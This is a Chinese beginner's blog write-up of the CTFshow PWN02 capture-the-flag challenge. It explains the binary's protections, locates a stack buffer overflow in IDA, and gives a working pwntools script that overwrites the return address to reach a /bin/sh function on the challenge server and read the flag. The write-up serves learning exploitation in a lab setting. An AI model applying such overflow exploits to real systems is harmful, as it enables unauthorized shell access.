CTFSHOW PWN02

题目信息nc一下可以判断出是32位

(查询得到的资料)

RELRO

Partial (部分)RELRO容易受到攻击

RELRO(ReLocation Read-Only)机制的提出就是为了解决延迟绑定的安全问题,它最初于2004年由Redhat的工程师Jakub Jelínek实现,它将符号重定向表设置为只读,或者在程序启动时就解析并绑定所有动态符号,从而避免GOT上的地址被篡改

STACK CANARY

No canary found没有防溢出(没有栈堆保护)

NX

NX enabled 如果这个保护开启就是意味着栈中数据没有执行权限,如此一来,当攻击者在堆栈上部署自己的shellcode并触发时,这会直接造成程序的崩溃,但是可以利用rop这种方法绕过

PIE

Linux 平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。而这里是No PIE,没有这个保护

将这个运行文件用IDA打开(IDA分为32和64位,32位的就对应32位的IDA)

F5进行反汇编转换成C语言,查看主函数

左侧有个pwnme函数(算是提示吧),查看一下

中间有个fget函数,点击查看该函数

这个函数的意思即对于传入的而数组s,从stdin文件中输入50个字节

但是可以看到在pwnme中char s的定义是9字节,有溢出(栈的溢出问题)

栈的溢出原理:

利用栈溢出,覆盖地址,去我们想要执行函数的地址,从而绕过一些操作

利用方式:覆盖程序的返回地址为攻击者所控制的地址,比如该地址为执行shellcode的地址shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,可以让攻击者获得shell,利用pwntools可自动生成。

点击char s[9],可以找到s[9]的地址

在+00000004处,有个r,搜索可知r即为ret

(ret指令是从堆栈中退出pc的高8位和低8位字节,把堆栈指针减2,从pc值处开始继续执行程序。) 可以通过输入9字节沾满s的大小,然后+4覆盖ret,让其去到我们想要到的地址,去执行我们想要执行的函数。

查看别的函数,发现stack函数里面有/bin/sh,涉及到linux指令

搜索发现,执行了这个命令后,我们可以执行一些命令获得stack文件中的我们想要的信息

stack的执行地址是0804850F

然后行写脚本(别人写的)

from pwn import *
contect=1
def main():
    if contect==0:
        p=process("./stack")
    else:
        p=remote("pwn.challenge.ctf.show",28103)
    payload=b'a'*13
    payload+=p32(0X804850F)
    p.sendline(payload)
    p.interactive()
main()

在kali中运行这个文件,并ls查看这个程序下的文件,看到有个flag文件

cat打开即可获得flag

(第一次写pwn的题目,很懵,但懂得了pwn题的一点点做法)

原创:Back~~

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值